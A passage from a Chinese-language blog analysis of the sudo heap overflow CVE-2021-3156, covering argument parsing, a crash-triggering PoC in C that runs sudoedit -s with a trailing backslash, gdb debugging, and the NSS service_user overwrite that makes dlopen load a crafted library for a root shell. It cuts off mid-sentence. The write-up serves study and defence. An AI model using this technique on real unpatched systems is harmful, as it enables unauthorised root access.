string">'l'</span><span class="token operator">:</span>   <span class="token number">417</span>                      <span class="token keyword">if</span> <span class="token punctuation">(</span>mode<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">418</span>                          <span class="token keyword">if</span> <span class="token punctuation">(</span>mode <span class="token operator">==</span> MODE_LIST<span class="token punctuation">)</span>   <span class="token number">419</span>                              <span class="token function">SET</span><span class="token punctuation">(</span>flags<span class="token punctuation">,</span> MODE_LONG_LIST<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">420</span>                          <span class="token keyword">else</span>   <span class="token number">421</span>                              <span class="token function">usage_excl</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token number">422</span>                      <span class="token punctuation">&#125;</span>   <span class="token number">423</span>                      mode <span class="token operator">=</span> MODE_LIST<span class="token punctuation">;</span>   <span class="token number">424</span>                      valid_flags <span class="token operator">=</span> MODE_NONINTERACTIVE<span class="token operator">|</span>MODE_LONG_LIST<span class="token punctuation">;</span>   <span class="token number">425</span>                      <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">518</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>argc <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> mode <span class="token operator">==</span> MODE_LIST<span class="token punctuation">)</span>   <span class="token number">519</span>          mode <span class="token operator">=</span> MODE_CHECK<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>那么有以下几种选择：</p><ol><li><code>-s -e</code></li><li><code>-i -e</code></li><li><code>-s -l</code></li><li><code>-i -l</code></li></ol><p>但是，<code>-e</code> 和 <code>-l</code>，都会导致 <code>valid_flags</code> 的改变，最后在 532 行处，导致程序退出，所以上面的 4 种方式都无效</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//src/parse_args.c</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">127</span>  #define <span class="token function">DEFAULT_VALID_FLAGS</span>     <span class="token punctuation">(</span>MODE_BACKGROUND<span class="token operator">|</span>MODE_PRESERVE_ENV<span class="token operator">|</span>MODE_RESET_HOME<span class="token operator">|</span>MODE_LOGIN_SHELL<span class="token operator">|</span>MODE_NONINTERACTIVE<span class="token operator">|</span>MODE_SHELL<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">249</span>      <span class="token keyword">int</span> valid_flags <span class="token operator">=</span> DEFAULT_VALID_FLAGS<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">532</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>flags <span class="token operator">&amp;</span> valid_flags<span class="token punctuation">)</span> <span class="token operator">!=</span> flags<span class="token punctuation">)</span>   <span class="token number">533</span>          <span class="token function">usage</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>查看源码还发现一处地方：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//src/parse_args.c</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>   <span class="token number">268</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>proglen <span class="token operator">></span> <span class="token number">4</span> <span class="token operator">&amp;&amp;</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>progname <span class="token operator">+</span> proglen <span class="token operator">-</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">"edit"</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>   <span class="token number">269</span>          progname <span class="token operator">=</span> <span class="token string">"sudoedit"</span><span class="token punctuation">;</span>   <span class="token number">270</span>          mode <span class="token operator">=</span> MODE_EDIT<span class="token punctuation">;</span>   <span class="token number">271</span>          sudo_settings<span class="token punctuation">[</span>ARG_SUDOEDIT<span class="token punctuation">]</span><span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"true"</span><span class="token punctuation">;</span>   <span class="token number">272</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当程序的名字是 sudoedit 时，会设置 <code>MODE_EDIT</code>，而不会去修改 <code>valid_flags</code>，那么就可以达成漏洞利用的条件，这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因</p><p>那么只需要用 <code>sudoedit -s xxx</code>，就可以设置 <code>MODE_EDIT</code> 和 <code>MODE_SHELL</code>，而不设置 <code>MODE_RUN</code> 了</p><h2 id="调试分析"><a href="#调试分析" class="headerlink" title="调试分析"></a>调试分析</h2><h3 id="调试前准备"><a href="#调试前准备" class="headerlink" title="调试前准备"></a>调试前准备</h3><p>使用源码编译的程序进行调试，编译后创建一个链接 sudoedit 到 sudo，或者改名 sudo 为 sudoedit（ubuntu 中的 sudoedit 其实是 sudo 的一个软链接），权限改为 root，并加上 sid 权限</p><h3 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h3><p>为了更好操控 sudo 程序的环境变量，采用 execve 函数来执行 sudoedit，这里写一个 poc.c:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//poc.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MAX_ENVP</span> <span class="token expression"><span class="token number">0x1000</span></span></span><span class="token keyword">char</span> <span class="token operator">*</span>envp<span class="token punctuation">[</span>MAX_ENVP<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span> <span class="token keyword">const</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>         <span class="token keyword">char</span> a1<span class="token punctuation">[</span><span class="token number">65536</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token function">memset</span><span class="token punctuation">(</span>a1<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> <span class="token number">65535</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        a1<span class="token punctuation">[</span><span class="token number">65535</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'\x00'</span><span class="token punctuation">;</span>        <span class="token keyword">char</span> <span class="token operator">*</span>s_argv<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span> <span class="token comment">//命令行参数</span>                <span class="token string">"sudoedit"</span><span class="token punctuation">,</span> <span class="token string">"-s"</span><span class="token punctuation">,</span> <span class="token string">"\\"</span><span class="token punctuation">,</span> a1<span class="token punctuation">,</span> <span class="token constant">NULL</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token keyword">int</span> envp_pos <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        envp<span class="token punctuation">[</span>envp_pos<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span> <span class="token comment">//环境变量</span>                                                                            <span class="token function">execve</span><span class="token punctuation">(</span><span class="token string">"/path/to/sudoedit"</span><span class="token punctuation">,</span> s_argv<span class="token punctuation">,</span> envp<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="调试开始"><a href="#调试开始" class="headerlink" title="调试开始"></a>调试开始</h3><p>使用 <code>sudo gdb ./poc</code>，执行 <code>catch exec</code> 跟踪 execve，<code>r</code> 命令运行</p><p>setlocale 是 sudo 程序开头调用的函数，在这下断点，断下后 <code>finish</code> 即可进入 sudo 的 main 函数</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-1.png" alt="entry"></p><p>要注意的是，进入 main 函数后，最好删除 setlocale 的断点，以免后续的调用影响跟踪调试</p><p>使用 <code>b 213</code> 下断点在 213 行处：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">212</span>         <span class="token comment">/* Load plugins. */</span><span class="token number">213</span>         <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">sudo_load_plugins</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>policy_plugin<span class="token punctuation">,</span> <span class="token operator">&amp;</span>io_plugins<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token number">214</span>             <span class="token function">sudo_fatalx</span><span class="token punctuation">(</span><span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"fatal error, unable to load plugins"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>n</code> 命令步过，加载完 sudoers.so 库后，使用命令 <code>b set_cmnd</code> 在 set_cmnd 函数下断点，<code>c</code> 继续运行，来到断点处，并在 854 行下断点，继续运行</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">854</span>                 <span class="token keyword">if</span> <span class="token punctuation">(</span>size <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token punctuation">(</span>user_args <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token number">855</span>                     <span class="token function">sudo_warnx</span><span class="token punctuation">(</span><span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"%s: %s"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">__func__</span><span class="token punctuation">,</span> <span class="token function">U_</span><span class="token punctuation">(</span><span class="token string">"unable to allocate memory"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token number">856</span>                     <span class="token function">debug_return_int</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token number">857</span>                 <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>user_args 的大小为 0x10002 即 65538 （<code>&quot;\\&quot; + &quot;A&quot; * 65535 + 2</code>），并记录 user_args 的 chunk 地址为 <code>0x55555558faa0</code></p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-2.png" alt="user_args_size"><br><img src="/images/CVE-2021-3156/CVE-2021-3156-3.png" alt="user_args"></p><p>跟踪来到漏洞点处：</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-4.png" alt="user_args"></p><p>来到 870 处：</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-5.png" alt="870"></p><p>此时可以发现没有溢出，因为此时只复制了反斜杠字符后面的 <code>\0</code>，以及后面的 65535 个 A，本身 chunk 的大小是足够的</p><p>但是，for 循环继续运行，<code>&quot;A&quot; * 65535</code> 又开始继续往后覆盖，此时溢出就出现了</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-6.png" alt="overwrite"></p><p>可以看到，溢出把下一个 chunk 的 size 字段都改了，后面 malloc 的时候触发 abort，导致程序异常退出了</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>此时可以知道几点：</p><ol><li>user_args 的大小可以由命令行参数控制</li><li>命令行参数中出现单个反斜杠字符结尾，则会导致堆溢出</li><li>若单个反斜杠结尾出现在最后一个命令行参数，那么溢出的内容就是紧接着的环境变量，完全可控</li><li>单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入 <code>\0</code></li></ol><h3 id="NSS（Name-Service-Switch）"><a href="#NSS（Name-Service-Switch）" class="headerlink" title="NSS（Name Service Switch）"></a>NSS（Name Service Switch）</h3><p>目前公开的 exp 大都利用了 NSS（Name Service Switch）机制，这里简述 NSS 的机制</p><p>首先是根据 <code>/etc/nsswitch.conf</code> 内容（例如下面这个），初始化链式的 name_database_entry 结构体</p><pre class="line-numbers language-none"><code class="language-none"># &#x2F;etc&#x2F;nsswitch.conf## Example configuration of GNU Name Service Switch functionality.# If you have the &#96;glibc-doc-reference&#39; and &#96;info&#39; packages installed, try:# &#96;info libc &quot;Name Service Switch&quot;&#39; for information about this file.passwd:         files systemdgroup:          files systemdshadow:         filesgshadow:        fileshosts:          files dnsnetworks:       filesprotocols:      db filesservices:       db filesethers:         db filesrpc:            db filesnetgroup:       nis<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>name_database_entry 结构体定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">name_database_entry</span><span class="token punctuation">&#123;</span>  <span class="token comment">/* And the link to the next entry.  */</span>  <span class="token keyword">struct</span> <span class="token class-name">name_database_entry</span> <span class="token operator">*</span>next<span class="token punctuation">;</span>  <span class="token comment">/* List of service to be used.  */</span>  service_user <span class="token operator">*</span>service<span class="token punctuation">;</span>  <span class="token comment">/* Name of the database.  */</span>  <span class="token keyword">char</span> name<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> name_database_entry<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>name</code> 字段就是 <code>group</code>，<code>shadow</code> 这些字符串，然后以 <code>next</code> 字段链接起来形成链表</p><p>后面的 <code>files systemd</code> 是 service_user 结构体的 <code>name</code> 字段，定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">service_user</span><span class="token punctuation">&#123;</span>  <span class="token comment">/* And the link to the next entry.  */</span>  <span class="token keyword">struct</span> <span class="token class-name">service_user</span> <span class="token operator">*</span>next<span class="token punctuation">;</span>  <span class="token comment">/* Action according to result.  */</span>  lookup_actions actions<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">/* Link to the underlying library object.  */</span>  service_library <span class="token operator">*</span>library<span class="token punctuation">;</span>  <span class="token comment">/* Collection of known functions.  */</span>  <span class="token keyword">void</span> <span class="token operator">*</span>known<span class="token punctuation">;</span>  <span class="token comment">/* Name of the service (`files', `dns', `nis', ...).  */</span>  <span class="token keyword">char</span> name<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> service_user<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>需要使用服务的时候，如果库未加载，则会调用 <code>nss_load_library</code> 函数加载动态链接库</p><p>在 set_cmnd 函数结束后，sudoers_lookup 会调用 <code>nss_load_library</code> 函数，源码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">//glibc/nss/nsswitch.c</span><span class="token keyword">static</span> <span class="token keyword">int</span><span class="token function">nss_load_library</span> <span class="token punctuation">(</span>service_user <span class="token operator">*</span>ni<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>library <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token comment">/* This service has not yet been used.  Fetch the service         library for it, creating a new one if need be.  If there         is no service table from the file, this static variable         holds the head of the service_library list made from the         default configuration.  */</span>      <span class="token keyword">static</span> name_database default_table<span class="token punctuation">;</span>      ni<span class="token operator">-></span>library <span class="token operator">=</span> <span class="token function">nss_new_service</span> <span class="token punctuation">(</span>service_table <span class="token operator">?</span><span class="token operator">:</span> <span class="token operator">&amp;</span>default_table<span class="token punctuation">,</span>                                     ni<span class="token operator">-></span>name<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>library <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token comment">/* Load the shared library.  */</span>      <span class="token class-name">size_t</span> shlen <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">7</span> <span class="token operator">+</span> <span class="token function">strlen</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>name<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">3</span>                      <span class="token operator">+</span> <span class="token function">strlen</span> <span class="token punctuation">(</span>__nss_shlib_revision<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">int</span> saved_errno <span class="token operator">=</span> errno<span class="token punctuation">;</span>      <span class="token keyword">char</span> shlib_name<span class="token punctuation">[</span>shlen<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token comment">/* Construct shared object name.  */</span>      <span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span>shlib_name<span class="token punctuation">,</span>                                              <span class="token string">"libnss_"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                                    ni<span class="token operator">-></span>name<span class="token punctuation">)</span><span class="token punctuation">,</span>                          <span class="token string">".so"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                __nss_shlib_revision<span class="token punctuation">)</span><span class="token punctuation">;</span>      ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle <span class="token operator">=</span> <span class="token function">__libc_dlopen</span> <span class="token punctuation">(</span>shlib_name<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>          <span class="token comment">/* Failed to load the library.  */</span>          ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token number">1l</span><span class="token punctuation">;</span>          <span class="token function">__set_errno</span> <span class="token punctuation">(</span>saved_errno<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token macro property"><span class="token directive-hash">#</span> <span class="token directive keyword">ifdef</span> <span class="token expression">USE_NSCD</span></span>      <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>is_nscd<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>          <span class="token comment">/* Call the init function when nscd is used.  */</span>          <span class="token class-name">size_t</span> initlen <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">+</span> <span class="token function">strlen</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>name<span class="token punctuation">)</span>                            <span class="token operator">+</span> <span class="token function">strlen</span> <span class="token punctuation">(</span><span class="token string">"_init"</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token keyword">char</span> init_name<span class="token punctuation">[</span>initlen<span class="token punctuation">]</span><span class="token punctuation">;</span>          <span class="token comment">/* Construct the init function name.  */</span>          <span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span>init_name<span class="token punctuation">,</span>                                        <span class="token string">"_nss_"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                              ni<span class="token operator">-></span>name<span class="token punctuation">)</span><span class="token punctuation">,</span>                    <span class="token string">"_init"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token comment">/* Find the optional init function.  */</span>          <span class="token keyword">void</span> <span class="token punctuation">(</span><span class="token operator">*</span>ifct<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token class-name">size_t</span><span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">traced_file</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token operator">=</span> <span class="token function">__libc_dlsym</span> <span class="token punctuation">(</span>ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle<span class="token punctuation">,</span> init_name<span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span>ifct <span class="token operator">!=</span> <span class="token constant">NULL</span><span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>              <span class="token keyword">void</span> <span class="token punctuation">(</span><span class="token operator">*</span>cb<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token class-name">size_t</span><span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">traced_file</span> <span class="token operator">*</span><span class="token punctuation">)</span> <span class="token operator">=</span> nscd_init_cb<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span>  <span class="token directive keyword">ifdef</span> <span class="token expression">PTR_DEMANGLE</span></span>              <span class="token function">PTR_DEMANGLE</span> <span class="token punctuation">(</span>cb<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span>  <span class="token directive keyword">endif</span></span>              <span class="token function">ifct</span> <span class="token punctuation">(</span>cb<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span><span class="token macro property"><span class="token directive-hash">#</span> <span class="token directive keyword">endif</span></span>    <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最主要的是，当 <code>ni-&gt;library-&gt;lib_handle == NULL</code> 成立后，会执行 <code>dlopen</code> 加载动态链接库：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>      <span class="token keyword">char</span> shlib_name<span class="token punctuation">[</span>shlen<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token comment">/* Construct shared object name.  */</span>      <span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span><span class="token function">__stpcpy</span> <span class="token punctuation">(</span>shlib_name<span class="token punctuation">,</span>                                              <span class="token string">"libnss_"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                                    ni<span class="token operator">-></span>name<span class="token punctuation">)</span><span class="token punctuation">,</span>                          <span class="token string">".so"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                __nss_shlib_revision<span class="token punctuation">)</span><span class="token punctuation">;</span>      ni<span class="token operator">-></span>library<span class="token operator">-></span>lib_handle <span class="token operator">=</span> <span class="token function">__libc_dlopen</span> <span class="token punctuation">(</span>shlib_name<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>前面有 <code>ni-&gt;library == NULL</code> 时执行 <code>nss_new_service</code> 返回的 <code>library-&gt;lib_handle</code> 就是 NULL</p><p>且 service_user 结构体刚好在堆上，只要溢出覆盖一个 service_user 结构体，伪造 <code>name</code> 字段为 <code>X/X</code>，<code>library</code> 字段为 NULL，那么后续调用 <code>nss_load_library</code> 时就会调用 <code>__libc_dlopen(&quot;libnss_X/X.so.xx&quot;)</code> 加载自己写的动态链接库 </p><p>只要动态链接库写个 constructor 函数，执行 shell，即可提权</p><p>这里有一点，大部分文章都没提到（也可能是默认大家都知道了）：<strong>为什么一定要覆盖 <code>name</code> 成 <code>X/X</code> 的形式，而不是 <code>X</code> 的形式？</strong></p><p>这可以从 dlopen 的 man 手册中找到答案：</p><pre class="line-numbers language-none"><code class="language-none">......       If filename is NULL, then the returned handle is for the main program.  If filename contains a slash (&quot;&#x2F;&quot;), then it is       interpreted as a (relative or absolute) pathname.  Otherwise, the dynamic linker searches for the  object  as  follows       (see ld.so(8) for further details):......<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>大概意思是，filename 参数只有存在 <code>/</code> 的时候，才会有可能被当作相对路径，没有 <code>/</code> 的时候，会去 PATH 等环境变量指向的地方找对应的库文件，为了方便，使用相对路径的方式，所以使用 <code>X/X</code> 的形式</p><h3 id="service-user-结构体分布"><a href="#service-user-结构体分布" class="headerlink" title="service_user 结构体分布"></a>service_user 结构体分布</h3><p>gdb 上使用 <code>search -s systemd</code> 可以找到 service_user 等结构体</p><p><img src="/images/CVE-2021-3156/CVE-2021-3156-7.png" alt="service_user"></p><p>可以看到 passwd 的 name_database_entry，的 <code>service</code> 字段指向了一条链表，链表上是 <code>files</code> -&gt; <code>systemd</code> 的 service_user 结构体</p><p>那么只要覆盖这两个 service_user 中的一个就可以了，覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了，破坏了链表就不行了，所以选择覆盖前面的那个 service_user，同时不能把前面的 name_database_entry 